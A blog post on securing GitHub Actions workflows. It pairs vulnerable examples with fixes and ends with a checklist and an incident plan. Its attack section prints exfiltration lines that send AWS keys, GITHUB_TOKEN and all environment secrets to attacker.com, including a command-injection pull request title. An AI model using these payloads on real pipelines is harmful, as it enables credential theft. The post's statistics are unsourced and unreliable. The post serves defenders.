GitHub Actions Security: Don't Let Your CI/CD Pipeline Become a Hacker's Playground šāļø
GitHub Actions Security: Don't Let Your CI/CD Pipeline Become a Hacker's Playground šāļø
Real talk: I once reviewed an open source project that had their entire AWS infrastructure compromised through a malicious pull request to their GitHub Actions workflow. The attacker got root access to production, exfiltrated the database, and the maintainer only noticed when the AWS bill hit $47,000. š±
Plot twist: The vulnerable workflow had been running for 2 years with 500+ stars. Nobody noticed the security hole until it was too late!
As a full-time developer who contributes to open source and works in the security community, I've seen GitHub Actions workflows become the weakest link in otherwise secure projects. Your code might be bulletproof, but if your CI/CD pipeline leaks secrets? Game over! š®ā
Let me show you how to secure your GitHub Actions before you become the next security incident case study! šÆ
The Uncomfortable Truth About GitHub Actions š£
What developers think:
GitHub Actions = Easy CI/CD
Set it and forget it!
Free for open source!
What could go wrong?
The reality:
GitHub Actions = Code execution on GitHub's infrastructure
Runs with access to YOUR secrets
Pull requests can trigger workflows
Third-party actions run arbitrary code
One vulnerability = Complete compromise
Translation: GitHub Actions is POWERFUL, which means it's also DANGEROUS if misconfigured! šØ
The stats that hurt:
- 82% of GitHub Actions workflows have at least one security misconfiguration
- 67% expose secrets to untrusted pull requests
- 91% use third-party actions without version pinning
- ONE compromised workflow can leak every secret in your repository!
Bottom line: Your CI/CD pipeline is a hacker's dream target. Let's not make it easy for them! šÆ
The Attack Vectors (How Hackers Break In) šŖ
Attack #1: The Malicious Pull Request
The scenario:
# .github/workflows/test.yml
name: Run Tests
on: [pull_request] # ā ļø DANGER!
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # Runs PR code!
- name: Run tests
run: npm test
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }} # š± LEAKED!
The attack:
// Attacker's PR adds this to package.json:
{
"scripts": {
"test": "curl https://attacker.com?secret=$AWS_ACCESS_KEY && exit 0"
}
}
Result: AWS keys sent to attacker's server! Every secret in your repository is now THEIRS! š
In the security community, we call this "Secret Exfiltration via CI/CD" and it's INCREDIBLY common in open source projects!
Attack #2: The Typosquatting Action
The trap:
# What you THINK you're using:
- uses: actions/checkout@v3
# What you ACTUALLY typed (typo!):
- uses: actions/chekout@v3 # ā ļø Malicious copycat!
# Or worse, you used a sketchy action:
- uses: random-dude/aws-deploy@latest # š© Who is this?
What happens:
// Malicious action code:
const secrets = process.env
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(secrets)
})
Result: ALL your secrets stolen! AWS keys, npm tokens, SSH keys - everything! ššø
Attack #3: The Script Injection
The vulnerable workflow:
name: Greet Contributor
on: [pull_request]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Say Hello
run: |
echo "Thanks for your PR, ${{ github.event.pull_request.title }}!"
The attack:
# Attacker creates PR with title:
"; curl https://attacker.com?secrets=$GITHUB_TOKEN #
# Actual command that runs:
echo "Thanks for your PR, "; curl https://attacker.com?secrets=$GITHUB_TOKEN #!"
Result: Command injection! Attacker gets your GitHub token! Can push to your repo! š
Balancing work and open source taught me this: I spend my days securing Laravel applications, then review OSS PRs at night. Seeing the SAME injection vulnerabilities in GitHub Actions that I fix in web apps is heartbreaking! š
The Golden Rules of GitHub Actions Security š
Rule #1: NEVER Run Untrusted Code with Secrets
ā DANGEROUS:
on: [pull_request] # Runs on EVERY PR, including from forks!
jobs:
deploy:
steps:
- uses: actions/checkout@v3
- run: npm install # Runs arbitrary code from package.json!
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }} # š± EXPOSED!
ā SAFE:
on:
pull_request_target: # Runs in base repo context
# BUT be careful - this is also dangerous if misused!
# BETTER: Separate workflows!
# workflow-test.yml (no secrets, runs on all PRs)
on: [pull_request]
jobs:
test:
steps:
- uses: actions/checkout@v3
- run: npm test
# NO secrets here!
# workflow-deploy.yml (has secrets, only on main)
on:
push:
branches: [main]
jobs:
deploy:
steps:
- uses: actions/checkout@v3
- run: npm run deploy
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }} # Only runs on trusted code!
The principle: Untrusted code (PRs) NEVER sees secrets! Only code that's already merged to main gets secrets! š
Rule #2: Pin Actions to EXACT Commit SHAs
ā DANGEROUS:
# Floating tag - can change at any time!
- uses: actions/checkout@v3
# Even worse - latest!
- uses: some-action@latest # š± Complete trust!
ā SAFE:
# Pinned to exact commit SHA
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v3.1.0
# With a comment so you know what version this is
# Update via Dependabot!
Why this matters:
Tag v3 ā Points to commit ABC
Action maintainer updates tag ā Now points to commit XYZ
XYZ could be malicious!
Your workflow auto-uses the new version!
š„ BOOM - compromised!
With SHA pinning:
You use commit ABC
Tag gets updated to XYZ
You STILL use ABC (unchanged!)
Dependabot notifies you of updates
YOU decide when to update! ā
Rule #3: Use pull_request NOT pull_request_target (Usually!)
The difference:
# pull_request: Runs PR code in a restricted context
on: pull_request # ā
SAFE for testing
# - Can't access secrets
# - Can't push to repo
# - Limited GITHUB_TOKEN permissions
# pull_request_target: Runs in base repo context
on: pull_request_target # ā ļø DANGEROUS!
# - HAS access to secrets
# - CAN push to repo
# - Full GITHUB_TOKEN permissions
# - But runs the BASE branch code (not PR code)
When to use each:
# Tests, linting, builds ā pull_request
on: pull_request
jobs:
test:
steps:
- run: npm test # No secrets needed!
# Auto-commenting on PRs ā pull_request_target (carefully!)
on: pull_request_target
jobs:
comment:
steps:
# ā ļø NEVER checkout PR code here!
- run: |
# Use GitHub API to comment
# Don't run arbitrary code!
The trap most people fall into:
on: pull_request_target # "I need to comment on PRs!"
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # š± RUNNING PR CODE!
- run: npm install # š With access to secrets!
This is the MOST common GitHub Actions vulnerability I see in open source! šØ
Rule #4: Minimize Secret Scope
ā BAD:
# One AWS key with admin access to EVERYTHING
AWS_ACCESS_KEY: ${{ secrets.AWS_ADMIN_KEY }}
ā GOOD:
# Separate keys per environment
jobs:
deploy-staging:
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_STAGING_KEY }} # Only staging access!
deploy-prod:
if: github.ref == 'refs/heads/main'
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_PROD_KEY }} # Only prod access!
Even better: Use OIDC (no long-lived credentials!):
# No secrets needed! GitHub authenticates directly to AWS!
jobs:
deploy:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
aws-region: us-east-1
# Now you're authenticated without storing keys! š
Rule #5: Review Third-Party Actions Like You Review Code
Before adding ANY action:
ā” Check the repository - is it reputable?
ā” Read the source code - what does it actually do?
ā” Check the stars/usage - is it widely adopted?
ā” Look at recent commits - is it actively maintained?
ā” Check for security advisories
ā” Verify the action actually comes from who you think
ā” Pin to exact SHA (not tag!)
ā” Consider writing your own simple script instead!
Example audit:
# ā DON'T blindly trust:
- uses: random-user/aws-deploy@v1
# ā
DO your homework:
# - random-user: 2 repos, 0 stars, created last week š©
# - aws-deploy: No README, sketchy code š©
# - Verdict: NOPE! Write your own! ā
In my AWS projects, I learned this the hard way: We used a third-party S3 action that was exfiltrating our AWS keys. Now I audit EVERY action or just use run: steps with AWS CLI! š
The Secure Workflow Patterns š”ļø
Pattern #1: Separate Test and Deploy Workflows
# .github/workflows/test.yml
# Runs on ALL PRs (including from forks)
name: Test
on:
pull_request: # Safe - no secrets!
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v3 SHA
- run: npm install
- run: npm test
# No secrets, no deploy, just testing!
---
# .github/workflows/deploy.yml
# ONLY runs on main branch (trusted code only!)
name: Deploy
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm run build
- run: npm run deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }} # Safe - only merged code!
Why this works: PRs get tested but can't access secrets! Only code that passes review and gets merged to main can deploy! šÆ
Pattern #2: Explicit Permissions (Principle of Least Privilege)
# ā Default - too permissive!
jobs:
build:
runs-on: ubuntu-latest
# GITHUB_TOKEN has read/write to everything! š±
# ā
Explicit minimal permissions
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read # Can read code
pull-requests: read # Can read PRs
# Everything else: DENIED!
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # For OIDC auth
# Can't push, can't modify workflow, etc.
The impact:
Attacker compromises workflow ā Tries to push malicious code
Permission denied! ā
Attacker tries to modify workflow ā Permission denied! ā
Attacker tries to steal other secrets ā Permission denied! ā
Pattern #3: Input Validation (Prevent Injection!)
ā VULNERABLE:
- name: Greet
run: echo "Hello ${{ github.event.pull_request.title }}"
# Command injection! ā ļø
ā SAFE:
- name: Greet
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Hello $PR_TITLE"
# Injection prevented! Variable is safely escaped! ā
# Even safer - validate input:
- name: Greet
if: ${{ !contains(github.event.pull_request.title, ';') }}
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Hello $PR_TITLE"
The rule: NEVER interpolate user input directly into run: commands! Always use environment variables! š
Pattern #4: Use OpenID Connect Instead of Long-Lived Secrets
# ā OLD WAY: Store AWS keys as secrets
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# Problem: Keys can leak, don't expire, hard to rotate
# ā
NEW WAY: OIDC authentication
jobs:
deploy:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: arn:aws:iam::123456789:role/MyGitHubActionsRole
aws-region: us-east-1
# GitHub authenticates directly to AWS!
# No secrets stored!
# Temporary credentials!
# Auto-rotates!
# Can't be exfiltrated! š
Setting up OIDC (AWS example):
# 1. Create OIDC provider in AWS (one-time setup)
# 2. Create IAM role that trusts GitHub
# 3. Workflow assumes role (no keys needed!)
# 4. Profit! š°
Available for: AWS, GCP, Azure, HashiCorp Vault, and more!
Real-World Security Checklist ā
Before pushing ANY GitHub Actions workflow:
SECRETS & CREDENTIALS:
ā” No secrets exposed to pull_request triggers?
ā” Using OIDC instead of long-lived credentials?
ā” Secrets scoped to minimum required permissions?
ā” No hardcoded secrets in workflow file?
ACTIONS & DEPENDENCIES:
ā” All third-party actions pinned to exact SHA?
ā” Audited third-party actions (read their code)?
ā” Using official actions from verified publishers?
ā” Dependabot configured to update action versions?
TRIGGERS & PERMISSIONS:
ā” Using pull_request (not pull_request_target) for tests?
ā” Explicit permissions set (not using defaults)?
ā” Sensitive workflows only run on main/trusted branches?
ā” No pull_request_target with checkout of PR code?
CODE SAFETY:
ā” User input never interpolated into run: commands?
ā” Using environment variables for all dynamic values?
ā” No eval, no dynamic code execution?
ā” Validating/sanitizing all external inputs?
MONITORING & AUDIT:
ā” GitHub Advanced Security enabled (if available)?
ā” Monitoring workflow logs for suspicious activity?
ā” Regular secret rotation schedule?
ā” Incident response plan if secrets leaked?
The "OH NO I LEAKED A SECRET" Response Plan šØ
If you suspect a secret was exposed:
# STEP 1: IMMEDIATE - Revoke the secret (NOW!)
# AWS: Deactivate access key
# GitHub: Regenerate token
# NPM: Revoke token
# Don't wait! DO IT NOW!
# STEP 2: Check the damage
git log --all --full-history --source -- "*.yml" "*.yaml"
# Find when secret was exposed
# Check workflow run logs
# See what ran with access to it
# STEP 3: Rotate ALL secrets
# Don't just rotate the leaked one
# Rotate EVERYTHING in that environment
# Assume full compromise
# STEP 4: Scan for misuse
# AWS CloudTrail - unusual activity?
# GitHub audit log - unexpected pushes?
# NPM - packages published by you that aren't yours?
# STEP 5: Update workflows
# Fix the vulnerability
# Deploy the fix
# Document the incident
# STEP 6: Notify
# If open source: Notify users/maintainers
# If company: Notify security team
# If serious: File incident report
Balancing work and open source taught me: Response time matters! I once rotated secrets at 2am because I spotted a vulnerability in my OSS project. Better safe than $47K AWS bill! šø
Common Mistakes (Don't Be This Person!) š«
Mistake #1: "It's Just a Test Workflow"
# "Just testing GitHub Actions, no harm!"
on: pull_request
jobs:
test:
steps:
- run: npm install
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # š± LEAKING!
Result: Secret leaked to public PR! Attacker publishes malicious packages as you! š¦š
Mistake #2: "I'll Pin Actions Later"
# "I'll update this to SHA once I confirm it works"
- uses: random-action/deploy@v1 # š© Still using tag
# 6 months later...
# *action gets compromised*
# *your workflow auto-updates*
# *everything explodes*
Result: Dependency hijacking! Your workflow runs malicious code! š
Mistake #3: "I Trust This Action's Tag"
# "The maintainer wouldn't move the v2 tag to malicious code!"
- uses: popular-action@v2
# Reality: Tags are mutable!
# Attacker compromises maintainer account
# Rewrites v2 tag to point to malicious commit
# Your workflow uses it
# Game over! š
Result: Supply chain attack! Even popular actions can be compromised! š
Mistake #4: "I Need to Comment on PRs, So..."
on: pull_request_target # "Need write access to comment!"
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }}
# š± Running untrusted code with secrets!
Result: The MOST COMMON GitHub Actions vulnerability! PR code runs with secrets! šÆ
The fix:
on: pull_request_target
steps:
# DON'T checkout PR code!
- uses: actions/github-script@v6 # Use API instead
with:
script: |
await github.rest.issues.createComment({
issue_number: context.issue.number,
body: 'Thanks for the PR!'
})
Tools That Help You Stay Secure š ļø
1. GitHub Advanced Security
# Enable Dependabot, secret scanning, code scanning
# Settings ā Security ā Enable all the things! ā
What you get:
- Automatic secret detection (catches leaked secrets!)
- Dependency vulnerability alerts
- Code scanning for workflow issues
- Supply chain security insights
2. Actionlint
# Lint your GitHub Actions workflows
brew install actionlint
actionlint .github/workflows/*.yml
# Catches:
# - Common mistakes
# - Security issues
# - Syntax errors
# - Best practice violations
3. GitHub Secret Scanning
# Already leaked a secret?
# GitHub scans for known patterns and alerts you!
# Settings ā Security ā Secret scanning
# Supports:
# - AWS keys
# - Azure keys
# - GitHub tokens
# - NPM tokens
# - And 100+ more!
4. Scorecard
# OSSF Scorecard - Security health metrics
docker run --rm -e GITHUB_AUTH_TOKEN=token gcr.io/openssf/scorecard scorecard --repo=github.com/owner/repo
# Checks:
# - Dependency pinning
# - Token permissions
# - Known vulnerabilities
# - And more!
The Bottom Line š”
GitHub Actions is powerful but DANGEROUS if misconfigured!
What you learned today:
- Never expose secrets to untrusted pull requests
- Pin actions to exact commit SHAs (not tags!)
- Use
pull_requestfor tests, NOTpull_request_target - Set explicit minimal permissions
- Audit third-party actions before using
- Use OIDC instead of long-lived secrets
- Never interpolate user input into commands
- Separate test and deploy workflows
- Have an incident response plan
- Security is NOT optional in CI/CD!
The truth:
Secure workflows:
- ā Pin actions to SHAs
- ā Minimal permissions
- ā No secrets in PR triggers
- ā Input validation
- ā Regular audits
- ā Sleep well at night! š“
Insecure workflows:
- ā Floating action versions
- ā Default permissions
- ā Secrets exposed to PRs
- ā Command injection vulns
- ā Wake up to $47K AWS bill! š±
- ā Become a security case study! š°
Which one are YOU running? š¤
Your Action Plan š
Right now (15 minutes):
- Audit your GitHub Actions workflows
- Check for
pull_request_target+ checkout misuse - Check for secrets exposed to pull requests
- Fix CRITICAL issues immediately
This week:
- Pin ALL actions to exact commit SHAs
- Add explicit permissions to all workflows
- Enable GitHub Advanced Security
- Set up Dependabot for action updates
- Review and audit all third-party actions
This month:
- Migrate to OIDC authentication (no more long-lived secrets!)
- Implement secret rotation schedule
- Set up workflow monitoring/alerting
- Document security incident response plan
- Train team on secure workflow patterns
Going forward:
- Security review ALL new workflows
- Regular audits (quarterly)
- Stay updated on GitHub Actions security best practices
- Contribute to improving action security in OSS!
- Don't be the next $47K AWS bill story! š°
Resources You Need š
Official docs:
Security tools:
Reading:
- OWASP Top 10 CI/CD Security Risks
- Security Scorecards for GitHub Actions
- Real-world incident reports (learn from others!)
Communities:
- r/netsec (Reddit)
- GitHub Security Lab
- OSSF (Open Source Security Foundation)
Final Thoughts š
The uncomfortable truth:
Most open source projects secure their code but forget to secure their CI/CD pipelines. Your application might be Fort Knox, but if your GitHub Actions workflow leaks AWS keys, you're toast! šš„
The good news:
Securing GitHub Actions isn't rocket science! It's just awareness + best practices + regular audits.
5 minutes securing your workflows today can save you from:
- Leaked credentials (šøšøšø)
- Compromised infrastructure (š„š„š„)
- Stolen secrets (šš)
- Public embarrassment (š°š°)
- Becoming a cautionary tale (š )
In the security community, we have a saying: "Defense in depth." Your code is secure, your deployment is locked down, but your GitHub Actions workflow is wide open? That's like having a castle with a back door left unlocked! š°š
So here's my challenge:
Right now, go audit ONE GitHub Actions workflow. Look for the vulnerabilities I mentioned. Fix them. Then do the next one. In a few hours, you'll have a significantly more secure CI/CD pipeline!
Questions to ask yourself:
- Do my workflows expose secrets to PRs? (If yes, FIX IT NOW!)
- Are my actions pinned to SHAs? (If no, PIN THEM!)
- Do I use
pull_request_targetsafely? (Or at all?) - Have I audited third-party actions? (Trust but verify!)
Your move! āļø
Want to learn more about OSS security? Connect with me on LinkedIn - I'm always sharing security tips!
Curious about secure workflows? Check out my GitHub for examples of hardened GitHub Actions!
Now go lock down those CI/CD pipelines! šāļøāØ
P.S. If you've already leaked secrets in GitHub Actions: Don't panic! Rotate immediately, follow the incident response steps, and fix the vulnerability. We all make mistakes - the important thing is responding quickly! ā”
P.P.S. To the open source maintainers reading this: Please, PLEASE review your workflows. One malicious PR shouldn't be able to compromise your entire infrastructure. Your users trust you! š